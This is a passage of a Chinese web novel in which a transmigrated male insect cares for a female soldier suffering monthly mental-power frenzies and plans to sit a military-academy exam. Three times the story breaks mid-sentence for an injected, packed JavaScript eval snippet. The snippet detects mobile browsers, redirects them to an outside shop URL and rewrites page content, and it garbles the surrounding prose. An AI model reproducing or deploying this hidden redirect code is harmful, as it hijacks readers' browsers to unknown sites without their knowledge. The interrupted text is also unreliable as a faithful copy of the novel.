“雌虫通常通过虫纹获取强大的自我治愈,结合第四维度的精神力,便于进行战斗、守护种族、孕育后代。但精神力对雌虫的大脑有利有弊,具备一个月的基本狂暴周期,频繁大量使用精神力会导致其更容易陷入狂暴状态,精神丝结团撞击精神域壁垒,并互相攻击自我销毁,从而引起剧烈头痛和撕裂感,并伴随全身麻痹以及毛细血管充血现象。军雌等往往上升到死亡风险,若精神丝自我销毁过多,可能引起等级下降。” “与此相反,雄虫精神丝稳定性极高,可以深入雌虫精神域梳理结团安抚精神丝。与雌虫虫纹相对应的性腺和皮下腺体可以散发信息素芳香分子,通过虫纹及皮下腺体渗透雌虫身体,缓解精神力狂暴的副作用……” 索涅陷入沉思。 也就是说,精神力狂暴是虫族的大姨妈,但赫尔辛斯显然是帖子里所说的军雌,情况严重到两三年后不梳理就会死! 赫尔辛斯这不省心的家伙,每个月都会痛,竟然一点都没跟他说! 雌虫精神狂暴除了接受精神梳理,还有一种精神力抚慰剂,可以暂时压制狂暴,但成瘾性三个字让他瞬间打消了给赫尔辛斯买药剂的想法。这玩意儿吃多了会让精神域僵死,虫虫就变傻虫虫了。 为今之计,除了尽快帮赫尔辛斯找一只雄虫,好像就剩下他自己上这一个办法。 索涅有点纠结,皮下腺体、性腺什么的听起来不大正经的样子,需要脱衣服吗? 信息素和精神力,这两个东西他也一知半解,信息素还能勉强理解,但精神力听起来怎么那么玄学。 一想到这是游戏世界,索涅可以接受,但无法理解,信息素他也不知道怎么放。 他把原主给穿了,如果导致这具身体没有信息素和精神力了怎么办? 索涅在光屏前查到大半夜,还是一头雾水,打着哈欠倒在床上,还在想着赫尔辛斯的问题。 不知道虫虫现在痛不痛。 索涅睡不着了,从床上爬起来悄悄地来到楼下,猥琐地趴在雌虫门上。 谁想到雌虫的门压根没关,他一下子扑进了人家房间里,差点摔在地上。 忽然的落空感让索涅差点爆出粗口,还好他及时憋住了,小心地把即将撞到墙上的门拉回来,往床上瞄了一眼。 依稀的光线下,雌虫正平躺着,看起来睡得很熟。 索涅松了口气,正准备关上门,却听到了一点细微的动静。 像是某种骨关节摩擦的脆响。 他目光落在雌虫的手上,眉头一蹙。 不对劲。 索涅放轻脚步走到床边弯下腰,这才发现雌虫额头上一片滚珠汗迹,唇瓣紧紧地抿在一起,脸色发白。 刚才的声音,是雌虫下意识捏紧被子的手指。 索涅伸出手,轻轻地点在雌虫唇角。 他就着客厅的弱光,看到了指腹一点殷红的血迹,顿时心里一惊。 “赫尔辛斯……”他推了推雌虫的肩膀,“赫尔辛斯,醒醒……是做噩梦了还是……” “……” 雌虫的眼睛睁开一条缝,纤长的眼睫被汗水浸湿粘成一条条,眼珠水润润的,在黑暗里泛着光。 “雄主……”赫尔辛斯意识有些模糊,稀里糊涂地叫着索涅,“我……没事……” 索涅没有再纠正他的称呼,坐在床边伸手摸上雌虫的额头脖颈,手心的滚烫让他有一种不好的预感。 他打开台灯,给雌虫擦了擦汗,又倒来一杯水让他漱口,但雌虫全部喝掉了。 赫尔辛斯无比听话,也没有心力像往常一样说什么雄虫不该做这些的话,可索涅反倒希望雌虫能有力气再唠叨自己。 “是不是需要精神梳理?”索涅撩起雌虫汗湿的长发,给他擦着发根的潮湿。 雌虫喝过水似乎清醒了点,眉头紧紧地蹙在一起,“不,您……不用,明天就会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16464232|185447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好的,您快离开吧。” “骗谁呢?我都知道了。”索涅没好气地说,“还赶我走?我走了你就孤零零地蜷在被子里把牙咬出血?” 雌虫粗喘着,挣脱他的手,从被子里翻滚到地上,索涅刚想扶起他,就看到他深深地跪服在地上,额头贴着冰凉的地板。 “请您……快离开……” 索涅面无表情地看着他,雌虫跪在他脚边,浑身轻轻地颤抖着,珍贵的金发滑落在地上,宛如月华白练。 此时,赫尔辛斯根本无法控制自己孱弱的四肢,不过十几秒就无力地倒在地上,被雄虫从后领提起来扔在床上。 “雄主……”雌虫又胡乱地叫他,这种粗暴他从未在索涅身上见到过。 他有点委屈。 索涅被他叫的来了火气,“叫我干嘛!不是让我走吗?” 雌虫浑身大汗淋漓,双眼涣散地看着他,“您……快……” 雌虫忽然没动静了。 索涅疑惑地俯下身,瞬间就被一只手臂精准锁喉,天旋地转间被压在床上,他一下子就慌了。 “你你你你干嘛!!!”妈妈救我! 雌虫翻身骑在他身上,单手按着索涅的胸膛,两条大腿分开放在他腰两侧,坐在了索涅的小腹上。 “……赫尔辛斯,有话好好说,别搞这个……”索涅气都虚了,“我走还不行吗,我不跟你发脾气了,我错了……” 他试图挪开雌虫的手臂,被一张漂亮的面孔瞬间凑到眼前,苍金色眸子瞳孔缩成个小圆点,紧紧地锁定着他,鼻尖相触,呼吸相闻。 索涅完全不敢动了,这姿势搞不好下一秒就要亲上。 “离……离远一点嘛,好热。”他弱弱地提议。 剧烈的疼痛激起了大脑保护,雌虫只剩下敏锐的野兽本能,他盯着索涅的唇看了几秒,忽然低头咬了一口。 索涅:“……!”我的初吻啊啊啊啊啊!!没了!!!! 索涅宛如肾亏,一下子躺倒在床上,生无可恋地像被糟蹋了。 赫尔辛斯懵懂地看着他,侧身躺在他身边。 “大爷!我敬你是我大爷!”索涅吓了一跳,连忙把他拉起来,“你不知道疼啊!” 雌虫竟然把受伤的肩膀压在下面了! 索涅赶紧检查了一下包扎,还好没出血,他气得狠狠瞪了一眼雌虫,多少也发现了雌虫的不清醒。 赫尔辛斯刚才让他走是对的。 索涅抹了一把脸,这一晚真是糟透了,初吻没了,眼看着“初夜”也要没了。 他走到哪儿雌虫跟到哪儿,把他锁在卧室里就听到虫子在一下下地用指甲挠门,又挠又踹的,索涅怕他把自个儿手指弄废,只得跟着一起躺在他的床上。 雌虫傻了吧唧地凑过来,紧紧地贴着他,很快陷入熟睡。 他蜷缩在索涅手臂边,额头抵着索涅的肩膀,金发扑洒半个枕头,无力的右臂还绑着固定架,看起来可怜兮兮的。 索涅深深地叹了口气,给雌虫拉上被子,自己睁眼到天亮。 他不敢睡,他怕赫尔辛斯半夜把他给骑了。 11. 您让我背叛您? 温暖的阳光照拂在脸上,明亮的感觉迫使赫尔辛斯醒了过来。他睁开眼睛,看到了雄虫安静的下颌。 雄虫还在睡,赫尔辛斯悄悄地爬起来,目光复杂地看着凌乱的床铺。 他记得,这些都是他昨晚撒泼耍赖弄乱的。 雄虫窝在半边被子里,一只脚伸出床外,眉头还轻轻地蹙着,手臂蜷缩在腰侧,赫尔辛斯几乎能想得到雄虫昨晚怎样被他逼迫着睡在一起,又怎样蜷缩着手臂避免碰到他这只雌虫。 说不定,索涅几乎整晚都没睡着。 赫尔辛斯看了一会儿,下床准备去给雄虫准备早餐。他的腿恢复得很快,虽然酸痛和无力感仍旧没有消除,但已经能够,慢慢地扶着墙行走。 他给雄虫拉上窗帘缝隙,随意套了件衣服就进了厨房。 床上的索涅踢了一脚被子,在昏暗的环境里睡得更香了,一点也没有昨晚被夺了初吻的危机感。 三个小时后,他睡得大脑发懵,卷着被子从床上坐起,双手捂脸心情懊丧。 这该死的日夜颠倒的生物钟! 还好赫尔辛斯应该恢复了神智,不然说不定就在他睡觉的时候生米煮熟饭了! 他抹了一把自己的嘴,已经完全没有昨晚被雌虫咬的微弱痛感,但仍旧有种对方还在咬他的错觉。 索涅心烦意乱,三两下捋平皱巴巴的被子,下床拉开窗帘,阳光倾泻在身上,他闭眼惬意地张开手臂。 美好的一天,赫尔辛斯恢复正常了! “笃笃。” 两声敲门的声音。 索涅顿时收回手臂,有点慌乱地看着推开门的雌虫。 “您醒了,”赫尔辛斯看起来很正常,低眉顺眼地说,“我准备了早——午餐,请您享用。” 索涅心里的尴尬都没聚起来,立刻被不听话的雌虫打散了,他皱起眉,“你进厨房了?” 我在说什么蠢话,雌虫说的已经很明白了。 “赫尔辛斯,”索涅走过去,“我是不是应该给厨房上个锁?” 雌虫面上平静,可索涅感受到了他的忐忑。 “昨晚冒犯了您,请您惩罚。”雌虫说。 明明应该生气的,但索涅不知道为什么心情不错,甚至有点想笑,“那这份早餐是赔礼?” 赫尔辛斯解释:“不,这是我应该做的——” “我会好好品尝的,”索涅把他推出去,“我接受你的道歉,那么昨晚就当……没发生过?” 他的初吻如此潦草地被一个男人……一只虫子给咬掉了。但是他能跟赫尔辛斯计较什么? 赫尔辛斯都让他走了,他自己非要献爱心不肯走,被叨一口就是轻率的代价。 “……是,一切按您的意愿。”赫尔辛斯语气低沉。 “一码归一码,在你真正好起来之前,不要再干什么家务了,我买菜回来是想自己琢磨着换换口味,不是让你偷偷当田螺的。”索涅说。 他远远地就闻到了一股浓烈的香气。 雌虫做的饭真霸道。 “田螺是谁?”赫尔辛斯眯起眼问。 索涅脚步一顿,“嗯……一个小故事的主角?挺爱做家务的。” “你做的这是什么菜?怎么这么香,”索涅转移话题,“我没有买什么高级食材啊。” 谈起厨艺,赫尔辛斯显得有些底气,他为雄虫介绍着,“这是我家乡的一道汤品,用料简单,但经过固定配比和熬煮,会有奇异的香气,很受雄虫喜欢。” 索涅有些怀疑,到底是自己真的喜欢,还是这具虫族的身体作祟?但他也不是瞎纠结的人,拿起勺子尝了一口,满口都是醇厚而不是清透的浓香。 “好好吃……”他接连又舀了几勺,发现下面还有珍珠一样脆弹的东西。 简直绝品,赫尔辛斯当时确实没骗他。 “您喜欢就好。”赫尔辛斯唇角上扬。 “那你喜欢吃什么?我看看我能不能学会。”索涅这人讲究礼尚往来,“反正咱俩天天窝在家里也没事干。” 赫尔辛斯似乎笑了,“我没有什么偏好,您如果无聊,可以玩游戏或者购物。” 他想起什么似的,拿出自己的手环,“我通过虚拟任务赚了一些星币,请您收下。” “什么意思,付房租啊?”索涅没当回事,把手环塞回雌虫怀里,“这房子破得掉渣,我就不收你住宿费了,你好好地养伤就行,虚拟任务会很累吗?” 赫尔辛斯抓住雄虫的手腕,将手环套上去,“没有您玩《深度决斗》累。” 索涅:“……”怎么还阴阳人家嘤嘤嘤。 “我什么时候才能恢复啊,”他自己收拾完碗勺后瘫在沙发上,“赫尔辛斯,精神力到底是什么?” 他看到雌虫的目光投过来,又说了一句,“我从来没帮雌虫梳理过精神域,万一我以后不会做被笑话了怎么办,你肯定不会笑话我的,教教我呗。” 赫尔辛斯用索涅买的发带绑着头发,鬓角有些松散地垂下来两缕,他低头时就会遮住他的半边眉眼。 “您想知道什么?”他问。 索涅从沙发上爬起来,坐到雌虫旁边,兴致勃勃,“比如怎么伸进雌虫精神域?” 赫尔辛斯顿了一下,“您不是只喜欢亚雌吗?亚雌的梳理方式和雌虫是不同的。” 索涅:“……我什么时候跟你说过我喜欢亚雌?” 赫尔辛斯眉头狠狠地抽了一下,诧异:“难道您喜欢的是雄虫?!” 索涅想起自己穿越以来见到的雄虫:“……除非我脑子被驴踢了。” 赫尔辛斯至少松了一口气。 “赫尔辛斯,”雄虫心有余悸,“看不出来你每天老实巴交的,心思这么狂野。” “……是您误导了我。”雌虫低声说。 他也是头一次听到“老实巴交”这个评价,感觉会让以前的那些老狐狸对手笑掉大牙。 “我什么都不喜欢,我喜欢的不在这里。”索涅叹了口气,“等我还完那些钱,我就自由了。” “可是,”赫尔辛斯有点不忍心打破雄虫的幻想,“您必须娶至少一只雌虫或亚雌,这是法律规定。” “啥?”雄虫瞪大眼,“我会还钱的!怎么还要娶?!” 索涅的心一下子掉到了谷底,浑身冷嗖嗖。 不娶会怎样? 赫尔辛斯仿佛看出了他的想法,“要是一只虫都不娶,就需要定期到医疗中心服务,贡献信息素和精神力,每周十只雌虫。” 索涅:“……卖,卖身?要脱衣服吗?” 赫尔辛斯:“唔,不需要一直卖,但精神□□需要配合身体……” 他点到即止,索涅脸色隐隐发白。 “D级以上雄虫必须娶雌虫,D级以下可以娶亚雌。”赫尔辛斯看了一眼索涅,尽量地不去提雄虫的等级。 但索涅自己一点都不避讳,“我都是劣等雄虫了,生不出什么好蛋……”太欺负人了。 赫尔辛斯知道这些,“这是一种赌注,稳赚不赔。基因时常有触底反弹的个例,尽管不多,但每一只都是等级极高的存在。” 对每个个体来说,生出基因优胜者的概率极其渺茫,但虫族打得起这个豪赌,同时还可以避免雄虫资源被浪费,何乐不为? 索涅在沙发上摊成一滩烂泥,陷入什么都不想思考的悲观时间。 赫尔辛斯看着他涣散的眼眸,无声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16464233|185447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地垂下眼,转动轮椅靠近雄虫。 “或许,”他放轻声音,低哑地诱惑着,“您既然哪个性别都不喜欢,完全可以让我做您的挡箭牌。” 索涅声音疲惫:“有什么区别,你也需要精神梳理,况且咱们都这么熟悉了,我更难受。” 赫尔辛斯:“为什么?昨晚让您很讨厌我?” 索涅:“……咳!咳咳!我们说好不提的!” “对不起,但……”赫尔辛斯顿了一下,“不进行精神梳理对您没有任何影响,您完全可以和我——” “但对你有影响,”索涅打断他,“我之前没有了解才那么云淡风轻,但我会尽快还完款帮你找一个合适的雄虫,赫尔辛斯,别把自己的痛苦不当一回事。” 赫尔辛斯没有再说话。 索涅以为他听进去了,想跟他继续讨论精神梳理,“赫尔辛斯,你每月都要经历一次昨晚那种痛苦,有没有什么不脱衣服也能进行的梳理?效果差一点也没关系,或者我推你出去走走,说不定能遇到好雄虫……” 他莫名地感觉后背发凉,止住声音。 赫尔辛斯沙哑地开口:“您是说,让我背叛您?” 索涅没想到这么严重的词,在他意识里他和赫尔辛斯的关系是很随便的,彼此都压根不用在乎,但是雌虫好像不这么认为。 “我们又没有什么死生契阔的誓言,哪有背叛这么严重。”索涅干笑着,试探地低下头,“事急从权嘛,你就当我是个……”木头。 他的声音戛然而止。 赫尔辛斯双眸通红,如同滴血,眼神却是平静的,没有一滴眼泪。与索涅对视后还勾起了唇角,“您说的对。” “赫尔辛斯……”索涅讷讷。 “既然您已经决定好了,那么一切听从您的安排。”赫尔辛斯没有再和索涅对视,他执起索涅的手,用额头轻触,不过一瞬就放开了。 第三次,但差别如此巨大。 索涅至今不知道这个礼仪是什么意思,但这种前后差异让他心头猛地一空。 “不是由我决定,是由你……”他仿佛在为自己解释,为了雌虫这仿佛被抛弃被辜负的神情。 “嗯,我会的,您可以在家里休息,我傍晚出去走走。”雌虫就这么答应了,并且立刻付出行动。 索涅楞楞地看着他,“今天傍晚?” 赫尔辛斯:“是的。” “可是你还没说……”我能不能不脱衣服给你梳理? 索涅顿住,他在犹豫什么?赫尔辛斯尽早着力解决这个问题,不是他一直想要的吗? 他给自己找理由。 我只是想让赫尔辛斯暂时不那么痛苦,让他有更多时间去寻找合适的雄虫,不是因为别的什么。 此时的沉默简直令人窒息,他和赫尔辛斯相处,就算第一天也没这么难熬。 “我去直播了。”索涅不尴不尬地说了一句。 “请注意休息。”雌虫说。 索涅浑身不自在地回了卧室,看着卧室里的游戏仓才想起究竟哪里不对劲。 赫尔辛斯以前会说:“您需要我陪同吗?” 索涅坐在床上,看着窗外黄红参杂的树叶。 赫尔辛斯真的,今晚就要独自去找雄虫? 那双通红的眼睛仍旧在他心里挥之不去,心脏沉重地跳着,他感到有些不舒服,仿佛血液厚重地黏在血管上,只想躺着,想着乱七八糟的事。 他没有给赫尔辛斯设置活动范围,楼下院门响起“咔吱”的开合声,等索涅反应过来时,他已经披上一件有帽子的长斗篷,悄悄地跟在雌虫身后。 “……” 他不放心,这是为了保护赫尔辛斯。 12. 草莓巧克力虫虫 正是下班高峰期,高空中飞行舰尾迹五颜六色,混合着赤红的晚霞,连赫尔辛斯的金发都染了一层红晕。 索涅错开十米,远远地跟着赫尔辛斯。他披着一件银灰色薄斗篷,街上很多穿同款服装的虫子,赫尔辛斯似乎根本没注意到他。 雌虫缓缓地转动轮椅,行走的虫子们不断投去探究的目光,频频扭头看他。 索涅心里烦躁,这些虫子看什么看!一点边界感都没有! 赫尔辛斯停了下来,他被一只雄虫拦住去路。 索涅向前又走了几步,靠在甜品店门前的柱子上假装休息。 “阁下,您好。”他听见赫尔辛斯说。 “好好的虫子怎么瘸了,”雄虫语带可惜,“这样吧,我给你个星网账号,等你腿好了再联系我,给你留一个雌侍的位置,不过你得先把财产转过来。” 好个屁!臭不要脸的家伙! 索涅咬紧牙关,赫尔辛斯竟然真的在思考! “请问您一共有几只雌虫?”赫尔辛斯问。 他们周围聚了一些虫子。 雄虫显然有些得意,“我的雌虫不多,但有两只B级,虽然你瘸了,但刚好可以帮我修理地下室的雌奴。” 索涅气笑了。 怎么能不要脸到这种程度? 赫尔辛斯和这只雄虫的等级差距过大,雄虫感觉不出来赫尔辛斯的具体等级,还以为不过也是C级,最多B级。 边缘星不可能有高级雌虫或雄虫。 索涅几乎可以肯定赫尔辛斯会拒绝这只雄虫,他知道赫尔辛斯是有傲气的。 但雌虫竟然真的和那只雄虫互加了星网账号!他竟然真的在考虑这只普信虫! 索涅感觉自己的大脑褶皱被磨平了,赫尔辛斯到底在想什么? 雌虫礼貌地告别这只雄虫,继续推着轮椅向前走。他进入了商业街,一路上遇到了不下十只雄虫搭讪,已经有虫子跟在他身后准备看看赫尔辛斯到底有多大魅力,还把索涅看成了同伙。 索涅一路跟着他,赫尔辛斯倒是没遇到什么危险,上台阶也极为顺利,索涅这才发现这把智能轮椅几乎什么都能做。 曾经他还抱着赫尔辛斯走来走去……赫尔辛斯看他很有趣吧?像猴子一样。 索涅有些累,雌虫又被搭讪了,他没有再跟上去,而是坐在长椅上,吹着高楼长街里凉爽的过堂风。 就在这时,前方传来一阵骚动。 索涅心头有划过一阵不好的预感,连忙跑到围观的虫子外挤进去。 他从虫子堆里探出头,看到赫尔辛斯平静地坐在轮椅上,一只雄虫正跳脚怒骂。 “瞎了你的狗眼!竟然敢无视我!一个瘸子还装什么?我愿意要你就不错了,赶紧跟我回去,打你的时候记得叫大声点儿,我高兴了就给你精神梳理。” 雄虫大言不惭,赫尔辛斯微低着眉头看着路面上的地砖,似乎漫不经心。 雄虫被他的神态激怒了,冲上来就要直接上手抓赫尔辛斯的胳膊,突然从旁横亘出一只手,一把扭住他的手腕,雄虫发出杀猪般的惨叫。 “闭嘴!”索涅冷冷地说。 赫尔辛斯终于抬起头,看着索涅的侧脸。 “您真及时。”他说。 索涅没好气地回头,“少阴阳我,你明知道我一直都跟着。” “你是谁!也看上他了?这得有个先来后到!”雄虫甩着手臂叫嚣道。 索涅笑了,“先来后到?那你可以滚了。” 他推动雌虫的轮椅,赫尔辛斯什么反应都没有。 那只雄虫眼睁睁看着赫尔辛斯被推走,“什么意思?!他是有主的?多少钱,你卖给我。” 索涅眉头青筋一跳。 放开轮椅扶手,缓缓地转过身。 “你说什么。” 那雄虫浑身一缩,对刚才的剧痛心有余悸,却看到索涅停住了动作。 赫尔辛斯拽着他的斗篷,苍金色眼睛沉沉地看着他,“他并没有说错什么,您不是累了吗?我们回去吧。” “赫尔辛斯!”索涅心头的火气一下子就起来了。 但对上赫尔辛斯的眼睛,他发不出来脾气。 “等等,你们就这么走了?!竟然还敢骂我!我要把你们告上法庭!等着赔钱吧!” 索涅冷冷地笑了一声,看着他,“公然抢夺雌虫好像也是犯法的,要不试试我们谁会赢?” 雄虫噎住了。 索涅狠狠地瞪了一眼那只雄虫,推着赫尔辛斯穿过街道和虫子,缓缓地往回走。 “您也看到了,这个办法或许行得通,只是最后的一小点不太美好而已。明天我会跟阁下们一一说明情况,”赫尔辛斯目光沉静,“但我一只A级雄虫也没遇到。” “明天我会继续努力的。” 索涅沉默着。 “只有B级以上才对我有梳理效果,时间可能会有点长,希望您能够理解。”赫尔辛斯说。 索涅停下脚步,两秒之后又继续朝前走。 “我拖累了你。”他说。 这话让赫尔辛斯笑了,“不,是您救了我。” “如果不是您,我或许已经死了,也或许正趴在哪个地下室里苟延残喘,现在的一切都是您给我的,是我没有能力回报您。” “我当时也是有目的的,赫尔辛斯,不要把我想得多么善良,”索涅低头看着雌虫漂亮的金发,“你也不需要回报我,你不欠我,做你想做的就好。” 赫尔辛斯沉默了很长一段时间,久到索涅以为这个话题已经结束,他才突然开口。 “您真的这么想?万一我做的事情让您非常生气呢?” 索涅警惕地停下来,“我得跟你约法三章,伤好之前不许干活,不能见什么雄虫都加联系方式,哪里不舒服要及时告诉我,不许忍着。” 赫尔辛斯眉眼无声地扬起,随着雄虫说得越多,眼里情绪越是温润似水,“我答应您。” “那,我现在就有一件想做的事。”他说。 “您能不能到我前面来。” 索涅依言走过去,“这算什么想做的事,让我走两步?” 雌虫伸出手,握住索涅的左手,轻轻地将额头贴上去。 无比熟悉的场景,就在不久前还潦草得让索涅心中落空,可如今他清晰地感到,那种厚重的、被信赖的感觉又回来了。 索涅眉眼弯起,任由雌虫贴了个够。 “这有什么寓意吗?”他继续推着雌虫。 “代表衷心。”赫尔辛斯说。 索涅不明白赫尔辛斯为什么要对自己表明忠心,难道是价值观差异? 回家之后他在星网搜索“边缘星雄虫等级最高的住在哪里”。 看完七八十篇帖子后得出结论,最高只有C级,一般住在中心独栋区。 索涅:“……?”那不就是今天最后遇到的那只雄虫吗? 但是仍旧无法为赫尔辛斯梳理,何况那只雄虫那么恶劣,赫尔辛斯一定会被欺负。 但凡到了B级,雄虫就会引来其他星球的争抢,压根不会愿意留在容易战乱的资源还不好的边缘星居住。 曾经人类只有一个地球家园,索涅这才开始意识到对于虫族这样有多个星球的种族来说,居然每个星球的居民身份会差这么多! 高等雌虫和雄虫几乎全部居住在疆域腹地星球,联盟并不禁止居民迁移,但乘坐星舰的代价是高昂的,除了考上各种学院军校,无论雌雄虫,几乎一生都不可能离开自己的星球。 虫族的体型只比人类大一点点,一颗星球对于他们来说也是相当广阔的,但不排除智慧生物天生的冒险因子作祟,因此也有一些价格较低的地下星航。 一张尾舱三等票只要零点九九亿,买不了吃亏买不了上当。 索涅:“……杀了我算了。” “您怎么了?”赫尔辛斯去换了一件衣服。 他出门时穿了一件高领衣服,可以遮住脖颈上雌奴的颈环,但回到有室温系统的环境,还是有些热。 “我在看星航的票,好贵啊。”雄虫苦着脸。 赫尔辛斯明显顿住了:“您想离开ZY003星?” 索涅把雌虫抱起来放到沙发上,赫尔辛斯已经可以习惯性地去搂雄虫的脖子。 索涅对雌虫的恢复深有所感,几天而已,他已经感觉雌虫重了不少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16464234|185447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 也可能是这具身体太弱鸡了。 “赫尔辛斯,你怎么不早告诉我,这颗星球根本没有B级以上雄虫。”索涅放大手环光屏,“你这样是在做无用功,还不如在家休息呢。” “可能会有的,”赫尔辛斯扫了一眼光屏,“我的兄长遇到过。” “?”索涅第一次听雌虫说起他的家庭,“但是这概率也太低了,你就打算去碰运气?我本来想着能不能搬到雄虫多一点的星球去,但是我好像买不起票。” 他又不可能只把赫尔辛斯送走,万一到了别的星球被欺负怎么办?两只虫子的票他就更买不起了。 “您不用为我担心,等我再好一点,可以压制精神暴乱。”赫尔辛斯当然不打算这么碰运气,高级雄虫有多稀少他比索涅更清楚。 “压制归压制,你还是会疼,不是吗?”雄虫调出光屏搜索页,“赫尔辛斯,我决定了。” 赫尔辛斯目光柔和,“什么?” “我要考外星球的学校。”索涅严肃地说,“等我有学历了,说不定可以找到更好的工作,尽快还债你也能尽早解脱。” 赫尔辛斯看着雄虫搜索出来的东西,垂下眼睫。 “您这是为了我?”他轻声问。 索涅摸了摸耳朵,“也为了我自己,这里离边境这么近,万一发生战乱把我一炮轰成渣渣怎么办?” 意识到边缘星潜在的危险性,作为曾生活在和平地区的人,索涅无法容忍这种时刻悬在头顶的达摩克利斯之剑。 “……您既然已经做好决定,我会全力辅助您。”赫尔辛斯靠近雄虫的肩膀,声音低而沉,“您想考什么专业?” 索涅是有高中学历的,尽管成绩一塌糊涂,但足够他用来报名。 “军校,”雄虫手指快速的在软键盘上操作,不到一分钟拉出来一张信息量极大的表格,“只有军校允许额外带一只虫离开本土星球。” 赫尔辛斯垂下眸,“可是,考军校很辛苦的。” “您会很累。” 索涅回过头,这才发现他和赫尔辛斯靠得这么近,雌虫几乎趴在他肩上,精致的眉眼一眨不眨地看着他。 雌虫可能累了,索涅没有管他。 “有多累?” 赫尔辛斯指尖划拉着光屏,温热的气息扑在索涅脖颈。 “机甲类是最难的,圣托大学雄虫录取控制线为325分,其他大学基本在300分左右。”他说。 “满分是多少?”索涅深吸一口气,接受了度过一个大概率失败的高三的准备。 “550分。”赫尔辛斯看了他一眼。 索涅心中快速计算,也就是说相当于高考考443分? 雄虫的神情似乎逗乐了赫尔辛斯,“如果是其他专业,园艺、考古什么的,两百多分就可以了。” “只要考上,不分专业,都可以带你离开吗?”索涅谨慎地问。 “是的,但这并不简单,圣托每年给雄虫预留五十个名额,但一年最多也就招收到十个,还有一半中途退学。” 索涅:“?” 索涅:“为什么?” 赫尔辛斯微笑:“但凡是圣托的雄虫学生,不出三个月就可以在主星娶到贵族雌虫,然后带着大笔财富逍遥自在。” 索涅理解,原来是奔着接触白富美去的。 “赫尔辛斯,得劳烦你了,可以帮我补补课吗?我的基础知识学得不好。”他老实地承认。 他不是一张可以迅速书写的白纸,雌虫教会他可能要花点力气。 “很荣幸为您服务。”赫尔辛斯说。 索涅不自在地拦住雌虫贴在他脖子上的脸,用手心托着。柔软的皮肤比他的更显暖色,赫尔辛斯的肤色是泛着棕调的粉白,丝毫不柔弱,但看起来涩涩的。 索涅第一次看到赫尔辛斯就觉得,这只虫虫长得很像草莓巧克力。 皮肤粉粉的,看起来很好摸。 索涅看着将脸颊彻底放在他手心里的雌虫,对方还闭上眼轻轻蹭了一下。 他思绪“嗖”得从头顶挤了出去,大脑短暂地空白。 摸到了。 原来真的又软又暖。 13. 您要摸吗 重新捡起学习的感觉是很不容易的一件事,尤其索涅是个爱睡懒觉的人。 雌虫并不知道他晚上睡不着,索涅被他叫起来时还闭着眼睛。 “赫尔辛斯,好困啊。”他打了个哈欠,眼泪都出来了。 “那要再睡一会儿吗?”雌虫给他盖上被子。 索涅闭着眼笑了出来,“有你这么叫起床的吗?别给我哄睡着了。” 他一骨碌从被窝里爬起来,听到了一点儿声音,“今天下雨了?” 赫尔辛斯拉开窗帘,雨滴噼啪地打在窗沿上,外面阴云密布,黑沉沉的天空中时不时划过一道闪电。 “好多天没下雨了。”索涅踩着拖鞋和雌虫一起站在床边。 其实自他过来,还是第一次碰到下雨天。 索涅好像又对这个世界多了几分实感。 他们的早饭十分潦草,为了防止胃部积压食物,雌虫建议每顿吃三分之一只营养剂,但在吃完饭之前,索涅还有件事得做。 二楼有个空房间,索涅抽空整理了下杂物,腾出一片空地,方便他锻炼身体。 身体是革命的本钱,这幅雄虫壳子跟脆皮鸡一样,索涅怕自己还没考上先进医院了。 他静下心神拉伸热身,打了两遍太极拳,又打算来一遍八卦掌,但是打到一半忘记招式了。 这让他上哪儿找去? 索涅叹了口气,揉着手腕转身,“!” “……怎么不出声,吓死我了。”他无奈地说。 赫尔辛斯在门边看着雄虫,“您会拳法?” 索涅:“一些锻炼身体拉伸筋骨的动作而已,我能会什么厉害的?赫尔辛斯你也太看得起我了。” 雌虫看起来有话要说,索涅连忙推着轮椅,“你别老是上楼梯下楼梯,虽然这轮椅功能全面,但我还是怕你摔着。” 赫尔辛斯总是只扎起一半头发,在后脑勺出绑了个小巧的结。 “我还以为您又睡着了。”雌虫说。 “……” 一口喝完营养剂,索涅在心里感叹这饭吃得一点意思都没有,他摇摇头,在窗边边听着雨声边努力学习。 基本的一些规律是相通的,文学方面索涅也应付得过来,但虫族的生物学真是让他头大如斗。 “赫尔辛斯,”他不知道第几次求助雌虫,“我又不会做了。” 赫尔辛斯一直在旁边,一边陪着雄虫,一边在星网上做一些看起来就很复杂很高级的事情。 索涅感觉自己这些小问题太大材小用了,但雌虫倒是很乐意给他讲解。 “一般的虫纹长在腹部,但这几个遗传性畸变是什么原理?资料上没讲畸变原因。”索涅指着一段话问。 赫尔辛斯顿了一下,“这部分内容雄虫是不考的,您可以跳过。” 索涅对此有些在意,“我想了解一下,毕竟跟雌虫有关……” “对了,”他眼睛一亮,炯炯地盯着赫尔辛斯——的腹部,“你是不是也有虫纹?” 